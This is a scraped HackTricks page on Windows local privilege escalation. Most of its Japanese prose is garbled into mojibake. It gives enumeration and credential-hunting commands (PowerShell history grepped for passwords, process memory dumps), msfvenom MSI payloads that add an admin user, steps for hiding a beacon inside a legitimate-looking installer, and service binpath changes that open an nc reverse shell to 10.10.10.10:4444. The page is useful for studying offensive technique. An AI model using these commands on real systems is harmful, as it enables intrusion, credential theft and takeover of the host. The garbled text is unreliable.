.. | ||
dll-hijacking | ||
privilege-escalation-abusing-tokens | ||
access-tokens.md | ||
acls-dacls-sacls-aces.md | ||
appenddata-addsubdirectory-permission-over-service-registry.md | ||
com-hijacking.md | ||
create-msi-with-wix.md | ||
dll-hijacking.md | ||
dpapi-extracting-passwords.md | ||
from-high-integrity-to-system-with-name-pipes.md | ||
integrity-levels.md | ||
jaws.md | ||
juicypotato.md | ||
leaked-handle-exploitation.md | ||
msi-wrapper.md | ||
named-pipe-client-impersonation.md | ||
powerup.md | ||
privilege-escalation-abusing-tokens.md | ||
privilege-escalation-with-autorun-binaries.md | ||
README.md | ||
roguepotato-and-printspoofer.md | ||
rottenpotato.md | ||
seatbelt.md | ||
sedebug-+-seimpersonate-copy-token.md | ||
seimpersonate-from-high-to-system.md | ||
windows-c-payloads.md |
Windows Local Privilege Escalation
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Best tool to look for Windows local privilege escalation vectors: WinPEAS
Initial Windows Theory
Access Tokens
Windowsã®ã¢ã¯ã»ã¹ ããŒã¯ã³ãäœã§ãããç¥ããªãå Žåã¯ãç¶è¡ããåã«æ¬¡ã®ããŒãžããèªã¿ãã ãã:
{% content-ref url="access-tokens.md" %} access-tokens.md {% endcontent-ref %}
ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEsã«é¢ãã詳现æ å ±ã¯ã次ã®ããŒãžã確èªããŠãã ãã:
{% content-ref url="acls-dacls-sacls-aces.md" %} acls-dacls-sacls-aces.md {% endcontent-ref %}
Integrity Levels
Windowsã®æŽåæ§ã¬ãã«ãäœã§ãããç¥ããªãå Žåã¯ãç¶è¡ããåã«æ¬¡ã®ããŒãžããèªã¿ãã ãã:
{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
Windows Security Controls
Windowsã«ã¯ãã·ã¹ãã ã®åæã劚ãããå®è¡å¯èœãã¡ã€ã«ãå®è¡ããããŸãã¯ããªãã®æŽ»åãæ€åºããããšããã§ããããŸããŸãªèŠçŽ ããããŸããç¹æš©ææ Œã®åæãéå§ããåã«ã次ã®ããŒãžãèªã¿ããããã®é²åŸ¡****ã¡ã«ããºã ããã¹ãŠåæããå¿ èŠããããŸã:
{% content-ref url="../authentication-credentials-uac-and-efs/" %} authentication-credentials-uac-and-efs {% endcontent-ref %}
System Info
Version info enumeration
Windowsã®ããŒãžã§ã³ã«æ¢ç¥ã®è匱æ§ããããã©ããã確èªããŠãã ããïŒé©çšããããããã確èªããŠãã ããïŒã
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
ãã®ãµã€ãã¯ãMicrosoftã®ã»ãã¥ãªãã£è匱æ§ã«é¢ãã詳现æ å ±ãæ€çŽ¢ããã®ã«äŸ¿å©ã§ãããã®ããŒã¿ããŒã¹ã«ã¯4,700以äžã®ã»ãã¥ãªãã£è匱æ§ããããWindowsç°å¢ãæäŸãã倧èŠæš¡ãªæ»æé¢ã瀺ããŠããŸãã
ã·ã¹ãã äžã§
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeasã«ã¯watsonãçµã¿èŸŒãŸããŠããŸã)
ã·ã¹ãã æ å ±ã䜿çšããŠããŒã«ã«ã«
ãšã¯ã¹ããã€ãã®Githubãªããžããª:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
ç°å¢
ç°å¢å€æ°ã«ä¿åãããè³æ Œæ å ±/éèŠãªæ å ±ã¯ãããŸããïŒ
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShellã®å±¥æŽ
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell ãã©ã³ã¹ã¯ãªãããã¡ã€ã«
ããããªã³ã«ããæ¹æ³ã¯ãhttps://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ã§åŠã¶ããšãã§ããŸãã
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell ã¢ãžã¥ãŒã« ãã®ã³ã°
PowerShell ãã€ãã©ã€ã³ã®å®è¡ã®è©³çŽ°ãèšé²ãããå®è¡ãããã³ãã³ããã³ãã³ãã®åŒã³åºããããã³ã¹ã¯ãªããã®äžéšãå«ãŸããŸãããã ããå®å šãªå®è¡ã®è©³çŽ°ãšåºåçµæã¯ãã£ããã£ãããªãå ŽåããããŸãã
ãããæå¹ã«ããã«ã¯ãããã¥ã¡ã³ãã®ããã©ã³ã¹ã¯ãªãããã¡ã€ã«ãã»ã¯ã·ã§ã³ã®æ瀺ã«åŸãã**ãã¢ãžã¥ãŒã« ãã®ã³ã°ããéžæããŠãã ããããPowershell ãã©ã³ã¹ã¯ãªãã·ã§ã³ã**ã®ä»£ããã«ã
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
PowersShellãã°ããæåŸã®15ã€ãã³ãã衚瀺ããã«ã¯ã次ã®ã³ãã³ããå®è¡ã§ããŸã:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell ã¹ã¯ãªãããããã¯ãã®ã³ã°
ã¹ã¯ãªããã®å®è¡ã®å®å šãªæŽ»åãšå šå 容ã®èšé²ããã£ããã£ãããå®è¡ãããã³ãŒãã®åãããã¯ãææžåãããããšãä¿èšŒããŸãããã®ããã»ã¹ã¯ãå掻åã®å æ¬çãªç£æ»èšŒè·¡ãä¿æãããã©ã¬ã³ãžãã¯ãæªæã®ããè¡åã®åæã«ãšã£ãŠè²Žéã§ããå®è¡æã«ãã¹ãŠã®æŽ»åãææžåããããšã«ãããããã»ã¹ã«é¢ãã詳现ãªæŽå¯ãæäŸãããŸãã
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
ã¹ã¯ãªãããããã¯ã®ãã°ã€ãã³ãã¯ãWindowsã€ãã³ããã¥ãŒã¢ã®ãã¹ Application and Services Logs > Microsoft > Windows > PowerShell > Operational ã«ãããŸãã
æåŸã®20件ã®ã€ãã³ãã衚瀺ããã«ã¯ã次ã®ã³ãã³ãã䜿çšã§ããŸãïŒ
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
ã€ã³ã¿ãŒãããèšå®
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
ãã©ã€ã
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
æŽæ°ãhttpã§ã¯ãªãhttpSã䜿çšããŠãªã¯ãšã¹ããããŠããªãå Žåãã·ã¹ãã ã䟵害ããããšãã§ããŸãã
次ã®ã³ãã³ããå®è¡ããŠããããã¯ãŒã¯ãéSSL WSUSæŽæ°ã䜿çšããŠãããã©ããã確èªããŸã:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
ãã次ã®ãããªè¿ä¿¡ããã£ãå ŽåïŒ
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
ãããŠãHKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
ã 1
ã«çããå Žåã
ãã®å Žåãæªçšå¯èœã§ãã æåŸã®ã¬ãžã¹ããªã 0 ã«çããå ŽåãWSUS ãšã³ããªã¯ç¡èŠãããŸãã
ãã®è匱æ§ãæªçšããã«ã¯ã次ã®ãããªããŒã«ã䜿çšã§ããŸã: WsuxploitãpyWSUS - ãããã¯ãéSSL WSUSãã©ãã£ãã¯ã«ãåœãã®æŽæ°ãæ³šå ¥ããããã®MiTMæŠåšåããããšã¯ã¹ããã€ãã¹ã¯ãªããã§ãã
ããã§ç 究ãèªã:
{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %}
WSUS CVE-2020-1013
å®å
šãªã¬ããŒãããã¡ãã§èªãã
åºæ¬çã«ãããã¯ãã®ãã°ãæªçšããæ¬ é¥ã§ãïŒ
ããŒã«ã«ãŠãŒã¶ãŒãããã·ãå€æŽããæš©éããããWindows UpdateãInternet Explorerã®èšå®ã§æ§æããããããã·ã䜿çšããå Žåãç§ãã¡ã¯PyWSUSãããŒã«ã«ã§å®è¡ããŠèªåã®ãã©ãã£ãã¯ãååããè³ç£äžã§ææ ŒããããŠãŒã¶ãŒãšããŠã³ãŒããå®è¡ããæš©éãæã£ãŠããŸãã
ããã«ãWSUSãµãŒãã¹ã¯çŸåšã®ãŠãŒã¶ãŒã®èšå®ã䜿çšããããããã®èšŒææžã¹ãã¢ã䜿çšããŸããWSUSãã¹ãåã®èªå·±çœ²å蚌ææžãçæãããã®èšŒææžãçŸåšã®ãŠãŒã¶ãŒã®èšŒææžã¹ãã¢ã«è¿œå ããã°ãHTTPããã³HTTPS WSUSãã©ãã£ãã¯ã®äž¡æ¹ãååã§ããããã«ãªããŸããWSUSã¯ã蚌ææžã«å¯ŸããŠä¿¡é Œã®åå䜿çšã¿ã€ãã®æ€èšŒãå®è£ ããããã®HSTSã®ãããªã¡ã«ããºã ã䜿çšããŠããŸãããæ瀺ããã蚌ææžããŠãŒã¶ãŒã«ãã£ãŠä¿¡é Œãããæ£ãããã¹ãåãæã£ãŠããå ŽåããµãŒãã¹ã«ãã£ãŠåãå ¥ããããŸãã
ãã®è匱æ§ãå©çšããã«ã¯ãããŒã«WSUSpiciousã䜿çšã§ããŸãïŒè§£æŸãããå ŽåïŒã
KrbRelayUp
ããŒã«ã«ç¹æš©ææ Œã®è匱æ§ã¯ãç¹å®ã®æ¡ä»¶äžã§Windows ãã¡ã€ã³ç°å¢ã«ååšããŸãããããã®æ¡ä»¶ã«ã¯ãLDAP眲åã匷å¶ãããŠããªãç°å¢ããŠãŒã¶ãŒããªãœãŒã¹ããŒã¹ã®å¶çŽä»ãå§ä»»ïŒRBCDïŒãæ§æããæš©å©ãæã£ãŠããããšããŠãŒã¶ãŒããã¡ã€ã³å ã§ã³ã³ãã¥ãŒã¿ãäœæããèœåãå«ãŸããŸãããããã®èŠä»¶ã¯ãããã©ã«ãèšå®ã䜿çšããŠæºããããããšã«æ³šæãå¿ èŠã§ãã
ãšã¯ã¹ããã€ããèŠã€ããã«ã¯ãhttps://github.com/Dec0ne/KrbRelayUpãåç §ããŠãã ããã
æ»æã®æµãã«ã€ããŠã®è©³çŽ°ã¯ãhttps://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ã確èªããŠãã ããã
AlwaysInstallElevated
ãããã®2ã€ã®ã¬ãžã¹ã¿ã æå¹ïŒå€ã0x1ïŒã§ããå Žåãããããç¹æš©ã®ãŠãŒã¶ãŒãNT AUTHORITY\SYSTEMãšããŠ*.msi
ãã¡ã€ã«ãã€ã³ã¹ããŒã«ïŒå®è¡ïŒã§ããŸãã
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit ãã€ããŒã
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
ããmeterpreterã»ãã·ã§ã³ãããå Žåãã¢ãžã¥ãŒã«**exploit/windows/local/always_install_elevated
**ã䜿çšããŠãã®æè¡ãèªååã§ããŸãã
PowerUP
Write-UserAddMSI
ã³ãã³ããpower-upãã䜿çšããŠãçŸåšã®ãã£ã¬ã¯ããªå
ã«ç¹æš©ãææ Œãããããã®Windows MSIãã€ããªãäœæããŸãããã®ã¹ã¯ãªããã¯ããŠãŒã¶ãŒ/ã°ã«ãŒãã®è¿œå ãä¿ãäºåã³ã³ãã€ã«ãããMSIã€ã³ã¹ããŒã©ãŒãæžãåºããŸãïŒãã®ãããGIUã¢ã¯ã»ã¹ãå¿
èŠã§ãïŒïŒ
Write-UserAddMSI
Just execute the created binary to escalate privileges.
MSI Wrapper
ãã®ãã¥ãŒããªã¢ã«ãèªãã§ããã®ããŒã«ã䜿çšããŠMSIã©ãããŒãäœæããæ¹æ³ãåŠãã§ãã ãããã³ãã³ãã©ã€ã³ãå®è¡ãããã ãã®å Žåã¯ã".bat"ãã¡ã€ã«ãã©ããã§ããŸãã
{% content-ref url="msi-wrapper.md" %} msi-wrapper.md {% endcontent-ref %}
Create MSI with WIX
{% content-ref url="create-msi-with-wix.md" %} create-msi-with-wix.md {% endcontent-ref %}
Create MSI with Visual Studio
- Cobalt StrikeãŸãã¯Metasploitã䜿çšããŠã
C:\privesc\beacon.exe
ã«æ°ããWindows EXE TCPãã€ããŒããçæããŸãã - Visual Studioãéããæ°ãããããžã§ã¯ããäœæãéžæããæ€çŽ¢ããã¯ã¹ã«ãinstallerããšå ¥åããŸããSetup Wizardãããžã§ã¯ããéžæãã次ãžãã¯ãªãã¯ããŸãã
- ãããžã§ã¯ãã«AlwaysPrivescã®ãããªååãä»ããå Žæã«**
C:\privesc
**ã䜿çšãããœãªã¥ãŒã·ã§ã³ãšãããžã§ã¯ããåããã£ã¬ã¯ããªã«é 眮ãéžæããäœæãã¯ãªãã¯ããŸãã - 次ãžãã¯ãªãã¯ãç¶ãã4ã€ã®ã¹ãããã®3ã«å°éããŸãïŒå«ãããã¡ã€ã«ãéžæïŒãè¿œå ãã¯ãªãã¯ããå ã»ã©çæããBeaconãã€ããŒããéžæããŸãã次ã«ãå®äºãã¯ãªãã¯ããŸãã
- ãœãªã¥ãŒã·ã§ã³ãšã¯ã¹ãããŒã©ãŒã§AlwaysPrivescãããžã§ã¯ãã匷調衚瀺ããããããã£ã§TargetPlatformãx86ããx64ã«å€æŽããŸãã
- AuthorãManufacturerãªã©ãã€ã³ã¹ããŒã«ãããã¢ããªãããæ£åœãªãã®ã«èŠããããã«å€æŽã§ããä»ã®ããããã£ããããŸãã
- ãããžã§ã¯ããå³ã¯ãªãã¯ãã衚瀺 > ã«ã¹ã¿ã ã¢ã¯ã·ã§ã³ãéžæããŸãã
- Installãå³ã¯ãªãã¯ããã«ã¹ã¿ã ã¢ã¯ã·ã§ã³ã®è¿œå ãéžæããŸãã
- Application Folderãããã«ã¯ãªãã¯ããbeacon.exeãã¡ã€ã«ãéžæããŠOKãã¯ãªãã¯ããŸããããã«ãããã€ã³ã¹ããŒã©ãŒãå®è¡ããããšããã«ããŒã¯ã³ãã€ããŒããå®è¡ãããããšãä¿èšŒãããŸãã
- ã«ã¹ã¿ã ã¢ã¯ã·ã§ã³ããããã£ã®äžã§ãRun64BitãTrueã«å€æŽããŸãã
- æåŸã«ããã«ãããŸãã
- èŠå
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
ã衚瀺ãããå Žåã¯ããã©ãããã©ãŒã ãx64ã«èšå®ããŠããããšã確èªããŠãã ããã
MSI Installation
æªæã®ãã.msi
ãã¡ã€ã«ã®ã€ã³ã¹ããŒã«ãããã¯ã°ã©ãŠã³ãã§å®è¡ããã«ã¯ïŒ
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
ãã®è匱æ§ãæªçšããã«ã¯ã次ã䜿çšã§ããŸã: exploit/windows/local/always_install_elevated
ã¢ã³ããŠã€ã«ã¹ãšæ€åºåš
ç£æ»èšå®
ãããã®èšå®ã¯äœããã°ããããã決å®ããããã泚æãæãã¹ãã§ãã
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwardingã¯ããã°ãã©ãã«éä¿¡ãããããç¥ãããšãèå³æ·±ãã§ãã
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPSã¯ãããŒã«ã«ç®¡çè ãã¹ã¯ãŒãã®ç®¡çãç®çãšããŠããããã¡ã€ã³ã«åå ããŠããã³ã³ãã¥ãŒã¿äžã§åãã¹ã¯ãŒããäžæã§ã©ã³ãã åãããå®æçã«æŽæ°ãããããšãä¿èšŒããŸãããããã®ãã¹ã¯ãŒãã¯Active Directoryå ã«å®å šã«ä¿åãããACLãéããŠååãªæš©éãä»äžããããŠãŒã¶ãŒã®ã¿ãã¢ã¯ã»ã¹ã§ããæ¿èªãããŠããå Žåã«ããŒã«ã«ç®¡çè ãã¹ã¯ãŒãã衚瀺ã§ããŸãã
{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
WDigest
ã¢ã¯ãã£ããªå Žåãå¹³æã®ãã¹ã¯ãŒãã¯LSASSïŒããŒã«ã«ã»ãã¥ãªãã£æš©éãµãã·ã¹ãã ãµãŒãã¹ïŒã«ä¿åãããŸãã
ãã®ããŒãžã®WDigestã«é¢ãã詳现ã
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSAä¿è·
Windows 8.1以éãMicrosoftã¯ããŒã«ã«ã»ãã¥ãªãã£æ©é¢ïŒLSAïŒã®åŒ·åãããä¿è·ãå°å
¥ããä¿¡é ŒãããŠããªãããã»ã¹ã«ããã¡ã¢ãªã®èªã¿åããã³ãŒãã®æ³šå
¥ããããã¯ããããšã§ãã·ã¹ãã ã®ã»ãã¥ãªãã£ãããã«åŒ·åããŸããã
LSAä¿è·ã«é¢ãã詳现ã¯ãã¡ã.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard 㯠Windows 10 ã§å°å ¥ãããŸããããã®ç®çã¯ãããã€ã¹ã«ä¿åãããè³æ Œæ å ±ããã¹ã»ã¶ã»ããã·ã¥æ»æã®ãããªè åšããä¿è·ããããšã§ãã| Credentials Guard ã«é¢ãã詳现ã¯ãã¡ãã
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
ãã£ãã·ã¥ãããè³æ Œæ å ±
ãã¡ã€ã³è³æ Œæ
å ±ã¯ãããŒã«ã«ã»ãã¥ãªãã£æ©é¢ïŒLSAïŒã«ãã£ãŠèªèšŒããããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®ã³ã³ããŒãã³ãã«ãã£ãŠå©çšãããŸãããŠãŒã¶ãŒã®ãã°ãªã³ããŒã¿ãç»é²ãããã»ãã¥ãªãã£ããã±ãŒãžã«ãã£ãŠèªèšŒããããšãéåžžããŠãŒã¶ãŒã®ãã¡ã€ã³è³æ Œæ
å ±ã確ç«ãããŸãã
ãã£ãã·ã¥ãããè³æ Œæ
å ±ã®è©³çŽ°ã¯ãã¡ã.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
ãŠãŒã¶ãŒãšã°ã«ãŒã
ãŠãŒã¶ãŒãšã°ã«ãŒãã®åæ
èªåãæå±ããã°ã«ãŒãã«èå³æ·±ãæš©éããããã©ããã確èªããå¿ èŠããããŸãã
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
ç¹æš©ã°ã«ãŒã
ããããªããç¹æš©ã°ã«ãŒãã«å±ããŠããå Žåãç¹æš©ãææ Œãããããšãã§ãããããããŸãããç¹æš©ã°ã«ãŒãã«ã€ããŠåŠã³ãç¹æš©ãææ Œãããããã«ããããæªçšããæ¹æ³ã«ã€ããŠã¯ãã¡ããã芧ãã ããïŒ
{% content-ref url="../active-directory-methodology/privileged-groups-and-token-privileges.md" %} privileged-groups-and-token-privileges.md {% endcontent-ref %}
ããŒã¯ã³æäœ
ãã®ããŒãžã§ããŒã¯ã³ãšã¯äœãã«ã€ããŠè©³ããåŠãã§ãã ããïŒWindows ããŒã¯ã³ã
次ã®ããŒãžããã§ãã¯ããŠèå³æ·±ãããŒã¯ã³ã«ã€ããŠåŠã³ãããããæªçšããæ¹æ³ã確èªããŠãã ããïŒ
{% content-ref url="privilege-escalation-abusing-tokens.md" %} privilege-escalation-abusing-tokens.md {% endcontent-ref %}
ãã°ã€ã³ãŠãŒã¶ãŒ / ã»ãã·ã§ã³
qwinsta
klist sessions
ããŒã ãã©ã«ã
dir C:\Users
Get-ChildItem C:\Users
ãã¹ã¯ãŒãããªã·ãŒ
net accounts
ã¯ãªããããŒãã®å 容ãååŸãã
powershell -command "Get-Clipboard"
å®è¡äžã®ããã»ã¹
ãã¡ã€ã«ãšãã©ã«ããŒã®æš©é
ãŸããããã»ã¹ããªã¹ãã¢ããããŠããã»ã¹ã®ã³ãã³ãã©ã€ã³å
ã®ãã¹ã¯ãŒãã確èªããŸãã
å®è¡äžã®ãã€ããªãäžæžãã§ãããããŸãã¯ãã€ããªãã©ã«ããŒã®æžã蟌ã¿æš©éããããã確èªããŠãå¯èœãªDLLãã€ãžã£ãã¯æ»æãå©çšããŸãïŒ
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
åžžã«å®è¡äžã®å¯èœæ§ã®ãã electron/cef/chromiumãããã¬ãŒ ã確èªããŠãã ããããããæªçšããŠç¹æš©ãææ Œãããããšãã§ããŸãã
ããã»ã¹ãã€ããªã®æš©éã確èªãã
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
ããã»ã¹ãã€ããªã®ãã©ã«ãã®æš©éã確èªãã (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
ã¡ã¢ãªãã¹ã¯ãŒããã€ãã³ã°
procdumpã䜿çšããŠãå®è¡äžã®ããã»ã¹ã®ã¡ã¢ãªãã³ããäœæã§ããŸããFTPã®ãããªãµãŒãã¹ã¯ã¡ã¢ãªå ã«å¹³æã®è³æ Œæ å ±ãæã£ãŠããŸãã®ã§ãã¡ã¢ãªããã³ãããŠè³æ Œæ å ±ãèªã¿åã£ãŠã¿ãŠãã ããã
procdump.exe -accepteula -ma <proc_name_tasklist>
äžå®å šãªGUIã¢ããª
SYSTEMãšããŠå®è¡ãããŠããã¢ããªã±ãŒã·ã§ã³ã¯ããŠãŒã¶ãŒãCMDãèµ·åãããããã£ã¬ã¯ããªããã©ãŠãºãããããããšãèš±å¯ããå ŽåããããŸãã
äŸ: "Windowsãã«ããšãµããŒã" (Windows + F1)ã"ã³ãã³ãããã³ãã"ãæ€çŽ¢ãã"ã³ãã³ãããã³ãããéããã¯ãªãã¯"ãã¯ãªãã¯
ãµãŒãã¹
ãµãŒãã¹ã®ãªã¹ããååŸ:
net start
wmic service list brief
sc query
Get-Service
ããŒããã·ã§ã³
scã䜿çšããŠãµãŒãã¹ã®æ å ±ãååŸã§ããŸãã
sc qc <service_name>
accesschk ãã€ããªã Sysinternals ããååŸããåãµãŒãã¹ã®å¿ èŠãªç¹æš©ã¬ãã«ã確èªããããšããå§ãããŸãã
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
"Authenticated Users"ããµãŒãã¹ãå€æŽã§ãããã©ããã確èªããããšããå§ãããŸã:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
ãã¡ãããXPçšã®accesschk.exeãããŠã³ããŒãã§ããŸã
ãµãŒãã¹ãæå¹ã«ãã
ãã®ãšã©ãŒãçºçããŠããå ŽåïŒäŸãã°SSDPSRVã®å ŽåïŒïŒ
ã·ã¹ãã ãšã©ãŒ1058ãçºçããŸããã
ãµãŒãã¹ã¯ç¡å¹ã«ãªã£ãŠããããé¢é£ä»ããããæå¹ãªããã€ã¹ããªããããéå§ã§ããŸããã
次ã®ããã«ããŠæå¹ã«ã§ããŸãã
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
ãã®åé¡ã®å¥ã®åé¿çã¯ã次ã®ã³ãã³ããå®è¡ããããšã§ãïŒ
sc.exe config usosvc start= auto
ãµãŒãã¹ãã€ããªãã¹ã®å€æŽ
ãèªèšŒããããŠãŒã¶ãŒãã°ã«ãŒãããµãŒãã¹ã«å¯ŸããŠSERVICE_ALL_ACCESSãæã€ã·ããªãªã§ã¯ããµãŒãã¹ã®å®è¡å¯èœãã€ããªãå€æŽããããšãå¯èœã§ããscãå€æŽããŠå®è¡ããã«ã¯:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
ãµãŒãã¹ã®åèµ·å
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
ç¹æš©ã¯ããŸããŸãªæš©éãéããŠææ Œã§ããŸãïŒ
- SERVICE_CHANGE_CONFIG: ãµãŒãã¹ãã€ããªã®åæ§æãèš±å¯ããŸãã
- WRITE_DAC: æš©éã®åæ§æãå¯èœã«ãããµãŒãã¹èšå®ã®å€æŽãã§ããããã«ãªããŸãã
- WRITE_OWNER: æææš©ã®ååŸãšæš©éã®åæ§æãèš±å¯ããŸãã
- GENERIC_WRITE: ãµãŒãã¹èšå®ãå€æŽããèœåãç¶æ¿ããŸãã
- GENERIC_ALL: ãµãŒãã¹èšå®ãå€æŽããèœåãç¶æ¿ããŸãã
ãã®è匱æ§ã®æ€åºãšæªçšã«ã¯ãexploit/windows/local/service_permissions ãå©çšã§ããŸãã
ãµãŒãã¹ãã€ããªã®åŒ±ãæš©é
ãµãŒãã¹ã«ãã£ãŠå®è¡ããããã€ããªãå€æŽã§ãããã©ããããŸãã¯ãã€ããªãååšãããã©ã«ããŒã«å¯Ÿããæžã蟌ã¿æš©éããããã©ããã確èªããŠãã ããïŒDLL HijackingïŒã
wmicïŒsystem32ã§ã¯ãªãïŒã䜿çšããŠãµãŒãã¹ã«ãã£ãŠå®è¡ããããã¹ãŠã®ãã€ããªãååŸããicaclsã䜿çšããŠæš©éã確èªã§ããŸãïŒ
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
sc ãš icacls ã䜿çšã§ããŸã:
